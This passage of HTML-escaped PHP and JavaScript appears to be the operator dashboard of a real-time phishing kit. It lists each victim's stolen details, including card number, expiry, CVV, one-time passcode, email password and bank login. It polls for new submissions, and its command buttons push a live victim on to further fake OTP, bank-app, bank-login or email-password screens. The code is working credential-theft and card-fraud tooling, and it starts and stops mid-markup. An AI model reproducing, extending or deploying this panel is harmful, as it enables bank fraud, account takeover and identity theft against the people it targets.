    &lt;/div&gt;
    &lt;div class=&quot;user-body&quot;&gt;
        &lt;div class=&quot;data-grid&quot;&gt;
            &lt;?php foreach(array(&#039;phone&#039;,&#039;fname&#039;,&#039;lname&#039;,&#039;name&#039;,&#039;dob&#039;,&#039;address&#039;,&#039;city&#039;,&#039;postcode&#039;,&#039;email&#039;) as $f): if(isset($user[&#039;info&#039;][$f]) &amp;&amp; !empty($user[&#039;info&#039;][$f])): ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;&lt;?php echo ucfirst($f); ?&gt;&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][$f]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; endforeach; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;email_pass_email&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;email_pass_email&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Email (Verified)&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;email_pass_email&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;email_pass&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;email_pass&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Email Password&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;email_pass&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;current_card&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;current_card&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Card&lt;/label&gt;&lt;div class=&quot;val card&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;current_card&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;current_exp&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;current_exp&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Expiry&lt;/label&gt;&lt;div class=&quot;val exp&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;current_exp&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;current_cvv&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;current_cvv&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;CVV&lt;/label&gt;&lt;div class=&quot;val cvv&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;current_cvv&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;otp&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;otp&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;OTP&lt;/label&gt;&lt;div class=&quot;val otp&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;otp&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if($hasBank): ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Bank&lt;/label&gt;&lt;div class=&quot;val bank&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;bank_name&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Bank User&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;bank_user&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Bank Password&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&lt;?php echo htmlspecialchars($user[&#039;info&#039;][&#039;bank_pass&#039;]); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;fingerprint&#039;])): ?&gt;
            &lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Device&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&lt;?php echo htmlspecialchars(($user[&#039;fingerprint&#039;][&#039;userAgent&#039;] ?? &#039;&#039;) . &#039; | &#039; . ($user[&#039;fingerprint&#039;][&#039;screenWidth&#039;] ?? &#039;&#039;) . &#039;x&#039; . ($user[&#039;fingerprint&#039;][&#039;screenHeight&#039;] ?? &#039;&#039;)); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;?php endif; ?&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;IP&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&lt;?php echo htmlspecialchars(isset($user[&#039;ip&#039;])?$user[&#039;ip&#039;]:&#039;N/A&#039;); ?&gt;&lt;/div&gt;&lt;/div&gt;
            &lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Last Seen&lt;/label&gt;&lt;div class=&quot;val&quot; id=&quot;time-&lt;?php echo htmlspecialchars($uid); ?&gt;&quot; data-ts=&quot;&lt;?php echo isset($user[&#039;last_activity&#039;])?$user[&#039;last_activity&#039;]:time(); ?&gt;&quot;&gt;&lt;?php echo date(&#039;H:i:s&#039;, isset($user[&#039;last_activity&#039;])?$user[&#039;last_activity&#039;]:time()); ?&gt;&lt;/div&gt;&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;?php if(hasPermission(&#039;send_command&#039;)): ?&gt;
    &lt;div class=&quot;cmd-section&quot;&gt;
        &lt;div class=&quot;cmd-row&quot;&gt;
            &lt;select id=&quot;cmd-&lt;?php echo htmlspecialchars($uid); ?&gt;&quot;&gt;
                &lt;option value=&quot;&quot;&gt;Select Command...&lt;/option&gt;
                &lt;optgroup label=&quot;After Card - Send User To:&quot;&gt;
                    &lt;option value=&quot;go_otp&quot;&gt;OTP Verification&lt;/option&gt;
                    &lt;option value=&quot;go_app&quot;&gt;Bank App Approval&lt;/option&gt;
                    &lt;option value=&quot;go_bank&quot;&gt;Bank Login Required&lt;/option&gt;
                    &lt;option value=&quot;go_email&quot;&gt;Email Password Required&lt;/option&gt;
                    &lt;option value=&quot;new_card&quot;&gt;New Card Required&lt;/option&gt;
                    &lt;option value=&quot;wrong_card&quot;&gt;Card Wrong - Retry&lt;/option&gt;
                &lt;/optgroup&gt;
                &lt;optgroup label=&quot;Email Verification:&quot;&gt;
                    &lt;option value=&quot;wrong_email&quot;&gt;Wrong Email Password - Retry&lt;/option&gt;
                &lt;/optgroup&gt;
                &lt;optgroup label=&quot;Finish:&quot;&gt;
                    &lt;option value=&quot;go_success&quot;&gt;Done - Success Page&lt;/option&gt;
                    &lt;option value=&quot;go_error&quot;&gt;Show Error&lt;/option&gt;
                &lt;/optgroup&gt;
            &lt;/select&gt;
            &lt;button class=&quot;btn-send&quot; id=&quot;btn-send-&lt;?php echo htmlspecialchars($uid); ?&gt;&quot; onclick=&quot;sendCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;, this)&quot;&gt;SEND&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;cmd-row&quot; style=&quot;margin-top:8px;&quot;&gt;
            &lt;button class=&quot;btn-otp&quot; onclick=&quot;quickCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;,&#039;go_otp&#039;)&quot;&gt;OTP&lt;/button&gt;
            &lt;button class=&quot;btn-app&quot; onclick=&quot;quickCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;,&#039;go_app&#039;)&quot;&gt;APP&lt;/button&gt;
            &lt;button class=&quot;btn-bank&quot; onclick=&quot;quickCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;,&#039;go_bank&#039;)&quot;&gt;BANK&lt;/button&gt;
            &lt;button class=&quot;btn-email&quot; onclick=&quot;quickCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;,&#039;go_email&#039;)&quot;&gt;EMAIL&lt;/button&gt;
            &lt;button class=&quot;btn-quick&quot; onclick=&quot;quickCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;,&#039;new_card&#039;)&quot;&gt;NEW CARD&lt;/button&gt;
            &lt;button class=&quot;btn-done&quot; onclick=&quot;quickCmd(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;,&#039;go_success&#039;)&quot;&gt;DONE&lt;/button&gt;
            &lt;button class=&quot;btn-delete&quot; onclick=&quot;deleteUser(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;)&quot;&gt;Delete&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;cmd-row&quot; style=&quot;margin-top:8px;&quot;&gt;
            &lt;input type=&quot;text&quot; id=&quot;notify-&lt;?php echo htmlspecialchars($uid); ?&gt;&quot; placeholder=&quot;Custom notification message...&quot; autocomplete=&quot;off&quot;&gt;
            &lt;button class=&quot;btn-notify&quot; onclick=&quot;sendNotify(&#039;&lt;?php echo htmlspecialchars($uid); ?&gt;&#039;)&quot;&gt;📢 Notify&lt;/button&gt;
        &lt;/div&gt;
        &lt;div class=&quot;status&quot; id=&quot;status-&lt;?php echo htmlspecialchars($uid); ?&gt;&quot;&gt;&lt;?php echo $isWaiting ? &#039;Command pending...&#039; : &#039;Idle - waiting for card submit&#039;; ?&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;?php endif; ?&gt;
&lt;/div&gt;
&lt;?php endforeach; ?&gt;
&lt;?php if($displayed==0): ?&gt;
&lt;div class=&quot;empty&quot;&gt;&lt;h2&gt;No users&lt;/h2&gt;&lt;p&gt;Wait for submissions or refresh&lt;/p&gt;&lt;/div&gt;
&lt;?php endif; ?&gt;
&lt;/div&gt;

&lt;/div&gt;

&lt;div class=&quot;toast-container&quot; id=&quot;toasts&quot;&gt;&lt;/div&gt;

&lt;script&gt;
var state = { lastHash: &#039;&#039;, lastData: {}, pending: {}, role: &#039;&lt;?php echo $currentRole; ?&gt;&#039;, autoRefresh: true };
var pollInterval = null;
var idleTimer = null;
const IDLE_TIMEOUT = 30 * 60 * 1000; // 30 minutes

function resetIdleTimer() {
    if (idleTimer) clearTimeout(idleTimer);
    idleTimer = setTimeout(function() {
        alert(&#039;Session expired due to inactivity. Logging out.&#039;);
        location.href = &#039;?logout=1&#039;;
    }, IDLE_TIMEOUT);
}
document.addEventListener(&#039;mousemove&#039;, resetIdleTimer);
document.addEventListener(&#039;keypress&#039;, resetIdleTimer);
document.addEventListener(&#039;click&#039;, resetIdleTimer);
resetIdleTimer();

function startPoll() {
    if (pollInterval) clearInterval(pollInterval);
    pollInterval = setInterval(poll, 2000);
    document.getElementById(&#039;refreshToggle&#039;).textContent = &#039;Pause&#039;;
    state.autoRefresh = true;
}
function stopPoll() {
    if (pollInterval) clearInterval(pollInterval);
    document.getElementById(&#039;refreshToggle&#039;).textContent = &#039;Resume&#039;;
    state.autoRefresh = false;
}
function toggleAutoRefresh() {
    if (state.autoRefresh) stopPoll(); else startPoll();
}

function poll() {
    var xhr = new XMLHttpRequest();
    xhr.open(&#039;GET&#039;, &#039;backend.php?admin_poll=1&amp;_=&#039; + Date.now(), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
            try {
                var r = JSON.parse(xhr.responseText);
                if (r.status === &#039;ok&#039; &amp;&amp; r.data) {
                    var hash = JSON.stringify(r.data);
                    if (state.lastHash &amp;&amp; hash !== state.lastHash) {
                        process(r.data);
                    }
                    state.lastHash = hash;
                    state.lastData = r.data;
                    updateStats(r.data);
                }
            } catch(e) {}
        }
    };
    xhr.send();
}

function process(newData) {
    var oldData = state.lastData;
    var container = document.getElementById(&#039;usersContainer&#039;);

    for (var uid in newData) {
        var panel = document.querySelector(&#039;[data-uid=&quot;&#039; + uid + &#039;&quot;]&#039;);

        if (!panel) {
            createCard(uid, newData[uid]);
            toast(&#039;New user: &#039; + uid.substr(0,12));
        } else {
            var u = newData[uid];
            var now = Date.now()/1000;
            var isOnline = (now - (u.last_activity||0)) &lt; 15;
            var isWaiting = (u.command||&#039;wait&#039;) !== &#039;wait&#039;;
            var step = u.info &amp;&amp; u.info.step ? u.info.step : 1;
            var isProcessing = (step == 3 &amp;&amp; !isWaiting);
            var hasBank = u.info &amp;&amp; u.info.bank_name;
            var isDuplicate = false; // computed server-side on reload
            var queueCount = u.command_queue ? u.command_queue.length : 0;

            panel.className = &#039;user &#039; + (isOnline?&#039;online &#039;:&#039;&#039;) + (isWaiting?&#039;waiting &#039;:&#039;&#039;) + (isProcessing?&#039;processing&#039;:&#039;&#039;) + (isDuplicate?&#039;duplicate&#039;:&#039;&#039;);

            var badges = panel.querySelector(&#039;.user-header div:last-child&#039;);
            if (badges) {
                var stepLabels = {1:&#039;Phone&#039;,2:&#039;Info&#039;,3:&#039;Card&#039;,5:&#039;OTP&#039;,6:&#039;App&#039;,8:&#039;Bank&#039;,9:&#039;Email&#039;};
                var stepLabel = stepLabels[step] || &#039;Step &#039; + step;
                var h = &#039;&lt;span class=&quot;badge badge-step&quot;&gt;&#039; + stepLabel + &#039;&lt;/span&gt;&#039;;
                if ((u.card_attempts||0)&gt;0) h += &#039;&lt;span class=&quot;badge badge-cards&quot;&gt;&#039; + u.card_attempts + &#039; cards&lt;/span&gt;&#039;;
                if (u.info&amp;&amp;u.info.otp) h += &#039;&lt;span class=&quot;badge badge-otp&quot;&gt;OTP&lt;/span&gt;&#039;;
                if (hasBank) h += &#039;&lt;span class=&quot;badge badge-bank&quot;&gt;BANK&lt;/span&gt;&#039;;
                if (isProcessing) h += &#039;&lt;span class=&quot;badge badge-processing&quot;&gt;PROCESSING&lt;/span&gt;&#039;;
                if (queueCount&gt;0) h += &#039;&lt;span class=&quot;badge badge-queue&quot;&gt;Queue &#039; + queueCount + &#039;&lt;/span&gt;&#039;;
                badges.innerHTML = h;
            }

            var dataGrid = panel.querySelector(&#039;.data-grid&#039;);
            if (dataGrid &amp;&amp; u.info) {
                var fields = [&#039;phone&#039;,&#039;fname&#039;,&#039;lname&#039;,&#039;name&#039;,&#039;dob&#039;,&#039;address&#039;,&#039;city&#039;,&#039;postcode&#039;,&#039;email&#039;];
                var newHtml = &#039;&#039;;
                for (var i=0; i&lt;fields.length; i++) {
                    var f = fields[i];
                    if (u.info[f]) {
                        newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;&#039; + f + &#039;&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml(u.info[f]) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                    }
                }
                if (u.info.email_pass_email) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Email (Verified)&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml(u.info.email_pass_email) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (u.info.email_pass) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Email Password&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&#039; + escapeHtml(u.info.email_pass) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (u.info.current_card) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Card&lt;/label&gt;&lt;div class=&quot;val card&quot;&gt;&#039; + escapeHtml(u.info.current_card) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (u.info.current_exp) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Expiry&lt;/label&gt;&lt;div class=&quot;val exp&quot;&gt;&#039; + escapeHtml(u.info.current_exp) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (u.info.current_cvv) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;CVV&lt;/label&gt;&lt;div class=&quot;val cvv&quot;&gt;&#039; + escapeHtml(u.info.current_cvv) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (u.info.otp) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;OTP&lt;/label&gt;&lt;div class=&quot;val otp&quot;&gt;&#039; + escapeHtml(u.info.otp) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (hasBank) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Bank&lt;/label&gt;&lt;div class=&quot;val bank&quot;&gt;&#039; + escapeHtml(u.info.bank_name) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                    newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Bank User&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&#039; + escapeHtml(u.info.bank_user) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                    newHtml += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Bank Password&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&#039; + escapeHtml(u.info.bank_pass) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                if (u.fingerprint) {
                    newHtml += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Device&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml((u.fingerprint.userAgent||&#039;&#039;) + &#039; | &#039; + (u.fingerprint.screenWidth||&#039;&#039;) + &#039;x&#039; + (u.fingerprint.screenHeight||&#039;&#039;)) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                }
                newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;IP&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml(u.ip||&#039;N/A&#039;) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                newHtml += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Last Seen&lt;/label&gt;&lt;div class=&quot;val&quot; id=&quot;time-&#039; + uid + &#039;&quot; data-ts=&quot;&#039; + (u.last_activity||0) + &#039;&quot;&gt;&#039; + new Date((u.last_activity||0)*1000).toLocaleTimeString() + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
                dataGrid.innerHTML = newHtml;
            }

            var timeEl = document.getElementById(&#039;time-&#039; + uid);
            if (timeEl &amp;&amp; u.last_activity) {
                timeEl.setAttribute(&#039;data-ts&#039;, u.last_activity);
                timeEl.textContent = new Date(u.last_activity*1000).toLocaleTimeString();
            }

            var statusEl = document.getElementById(&#039;status-&#039; + uid);
            if (statusEl) {
                if (isWaiting) {
                    statusEl.className = &#039;status pending&#039;;
                    statusEl.textContent = &#039;Command pending...&#039;;
                } else if (isProcessing) {
                    statusEl.className = &#039;status&#039;;
                    statusEl.textContent = &#039;User on processing screen - send command&#039;;
                } else {
                    statusEl.className = &#039;status&#039;;
                    statusEl.textContent = &#039;Idle&#039;;
                }
            }

            var oldCmd = oldData[uid] ? oldData[uid].command : &#039;wait&#039;;
            var newCmd = u.command;
            if (oldCmd !== &#039;wait&#039; &amp;&amp; newCmd === &#039;wait&#039;) {
                var btn = document.getElementById(&#039;btn-send-&#039; + uid);
                if (btn) { btn.disabled = false; btn.textContent = &#039;SEND&#039;; btn.style.background = &#039;&#039;; }
                if (statusEl) { statusEl.className = &#039;status sent&#039;; statusEl.textContent = &#039;Command executed by user&#039;; }
                delete state.pending[uid];
            }
        }
    }
}

function createCard(uid, user) {
    var container = document.getElementById(&#039;usersContainer&#039;);
    var empty = container.querySelector(&#039;.empty&#039;);
    if (empty) empty.remove();

    var div = document.createElement(&#039;div&#039;);
    var step = user.info&amp;&amp;user.info.step ? user.info.step : 1;
    var cards = user.card_attempts || 0;
    var isWaiting = (user.command||&#039;wait&#039;) !== &#039;wait&#039;;
    var isProcessing = (step == 3 &amp;&amp; !isWaiting);
    var hasBank = user.info &amp;&amp; user.info.bank_name;
    var queueCount = user.command_queue ? user.command_queue.length : 0;

    div.className = &#039;user online &#039; + (isWaiting?&#039;waiting &#039;:&#039;&#039;) + (isProcessing?&#039;processing&#039;:&#039;&#039;);
    div.setAttribute(&#039;data-uid&#039;, uid);
    div.id = &#039;card-&#039; + uid;
    div.style.animation = &#039;slideIn 0.5s&#039;;

    var stepLabels = {1:&#039;Phone&#039;,2:&#039;Info&#039;,3:&#039;Card&#039;,5:&#039;OTP&#039;,6:&#039;App&#039;,8:&#039;Bank&#039;,9:&#039;Email&#039;};
    var stepLabel = stepLabels[step] || &#039;Step &#039; + step;

    var html = &#039;&lt;div class=&quot;user-header&quot;&gt;&#039;;
    html += &#039;&lt;div style=&quot;display:flex;align-items:center;&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;user-checkbox&quot; onchange=&quot;updateBulk()&quot; data-uid=&quot;&#039; + uid + &#039;&quot;&gt;&lt;span class=&quot;id&quot;&gt;&#039; + escapeHtml(uid) + &#039;&lt;/span&gt;&lt;/div&gt;&#039;;
    html += &#039;&lt;div&gt;&lt;span class=&quot;badge badge-step&quot;&gt;&#039; + stepLabel + &#039;&lt;/span&gt;&#039;;
    if (cards&gt;0) html += &#039;&lt;span class=&quot;badge badge-cards&quot;&gt;&#039; + cards + &#039; cards&lt;/span&gt;&#039;;
    if (user.info&amp;&amp;user.info.otp) html += &#039;&lt;span class=&quot;badge badge-otp&quot;&gt;OTP&lt;/span&gt;&#039;;
    if (hasBank) html += &#039;&lt;span class=&quot;badge badge-bank&quot;&gt;BANK&lt;/span&gt;&#039;;
    if (isProcessing) html += &#039;&lt;span class=&quot;badge badge-processing&quot;&gt;PROCESSING&lt;/span&gt;&#039;;
    if (queueCount&gt;0) html += &#039;&lt;span class=&quot;badge badge-queue&quot;&gt;Queue &#039; + queueCount + &#039;&lt;/span&gt;&#039;;
    html += &#039;&lt;/div&gt;&lt;/div&gt;&#039;;

    html += &#039;&lt;div class=&quot;user-body&quot;&gt;&lt;div class=&quot;data-grid&quot;&gt;&#039;;

    var fields = [&#039;phone&#039;,&#039;fname&#039;,&#039;lname&#039;,&#039;name&#039;,&#039;dob&#039;,&#039;address&#039;,&#039;city&#039;,&#039;postcode&#039;,&#039;email&#039;];
    for (var i=0; i&lt;fields.length; i++) {
        var f = fields[i];
        if (user.info &amp;&amp; user.info[f]) {
            html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;&#039; + f + &#039;&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml(user.info[f]) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
        }
    }

    if (user.info &amp;&amp; user.info.email_pass_email) {
        html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Email (Verified)&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml(user.info.email_pass_email) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }
    if (user.info &amp;&amp; user.info.email_pass) {
        html += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Email Password&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&#039; + escapeHtml(user.info.email_pass) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }

    if (user.info &amp;&amp; user.info.current_card) {
        html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Card&lt;/label&gt;&lt;div class=&quot;val card&quot;&gt;&#039; + escapeHtml(user.info.current_card) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }
    if (user.info &amp;&amp; user.info.current_exp) {
        html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Expiry&lt;/label&gt;&lt;div class=&quot;val exp&quot;&gt;&#039; + escapeHtml(user.info.current_exp) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }
    if (user.info &amp;&amp; user.info.current_cvv) {
        html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;CVV&lt;/label&gt;&lt;div class=&quot;val cvv&quot;&gt;&#039; + escapeHtml(user.info.current_cvv) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }
    if (user.info &amp;&amp; user.info.otp) {
        html += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;OTP&lt;/label&gt;&lt;div class=&quot;val otp&quot;&gt;&#039; + escapeHtml(user.info.otp) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }
    if (hasBank) {
        html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Bank&lt;/label&gt;&lt;div class=&quot;val bank&quot;&gt;&#039; + escapeHtml(user.info.bank_name) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
        html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Bank User&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&#039; + escapeHtml(user.info.bank_user) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
        html += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Bank Password&lt;/label&gt;&lt;div class=&quot;val creds&quot;&gt;&#039; + escapeHtml(user.info.bank_pass) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }
    if (user.fingerprint) {
        html += &#039;&lt;div class=&quot;data-field&quot; style=&quot;grid-column:1/-1&quot;&gt;&lt;label&gt;Device&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml((user.fingerprint.userAgent||&#039;&#039;) + &#039; | &#039; + (user.fingerprint.screenWidth||&#039;&#039;) + &#039;x&#039; + (user.fingerprint.screenHeight||&#039;&#039;)) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    }

    html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;IP&lt;/label&gt;&lt;div class=&quot;val&quot;&gt;&#039; + escapeHtml(user.ip||&#039;N/A&#039;) + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    html += &#039;&lt;div class=&quot;data-field&quot;&gt;&lt;label&gt;Last Seen&lt;/label&gt;&lt;div class=&quot;val&quot; id=&quot;time-&#039; + uid + &#039;&quot; data-ts=&quot;&#039; + (user.last_activity||0) + &#039;&quot;&gt;&#039; + new Date((user.last_activity||0)*1000).toLocaleTimeString() + &#039;&lt;/div&gt;&lt;/div&gt;&#039;;
    html += &#039;&lt;/div&gt;&lt;/div&gt;&#039;;

    if (state.role !== &#039;viewer&#039;) {
        html += &#039;&lt;div class=&quot;cmd-section&quot;&gt;&#039;;
        html += &#039;&lt;div class=&quot;cmd-row&quot;&gt;&#039;;
        html += &#039;&lt;select id=&quot;cmd-&#039; + uid + &#039;&quot;&gt;&#039;;
        html += &#039;&lt;option value=&quot;&quot;&gt;Select Command...&lt;/option&gt;&#039;;
        html += &#039;&lt;optgroup label=&quot;After Card - Send User To:&quot;&gt;&#039;;
        html += &#039;&lt;option value=&quot;go_otp&quot;&gt;OTP Verification&lt;/option&gt;&#039;;
        html += &#039;&lt;option value=&quot;go_app&quot;&gt;Bank App Approval&lt;/option&gt;&#039;;
        html += &#039;&lt;option value=&quot;go_bank&quot;&gt;Bank Login Required&lt;/option&gt;&#039;;
        html += &#039;&lt;option value=&quot;go_email&quot;&gt;Email Password Required&lt;/option&gt;&#039;;
        html += &#039;&lt;option value=&quot;new_card&quot;&gt;New Card Required&lt;/option&gt;&#039;;
        html += &#039;&lt;option value=&quot;wrong_card&quot;&gt;Card Wrong - Retry&lt;/option&gt;&#039;;
        html += &#039;&lt;/optgroup&gt;&#039;;
        html += &#039;&lt;optgroup label=&quot;Email Verification:&quot;&gt;&#039;;
        html += &#039;&lt;option value=&quot;wrong_email&quot;&gt;Wrong Email Password - Retry&lt;/option&gt;&#039;;
        html += &#039;&lt;/optgroup&gt;&#039;;
        html += &#039;&lt;optgroup label=&quot;Finish:&quot;&gt;&#039;;
        html += &#039;&lt;option value=&quot;go_success&quot;&gt;Done - Success Page&lt;/option&gt;&#039;;
        html += &#039;&lt;option value=&quot;go_error&quot;&gt;Show Error&lt;/option&gt;&#039;;
        html += &#039;&lt;/optgroup&gt;&#039;;
        html += &#039;&lt;/select&gt;&#039;;
        html += &#039;&lt;button class=&quot;btn-send&quot; id=&quot;btn-send-&#039; + uid + &#039;&quot; onclick=&quot;sendCmd(\&#039;&#039; + uid + &#039;\&#039;, this)&quot;&gt;SEND&lt;/button&gt;&#039;;
        html += &#039;&lt;/div&gt;&#039;;
        html += &#039;&lt;div class=&quot;cmd-row&quot; style=&quot;margin-top:8px;&quot;&gt;&#039;;
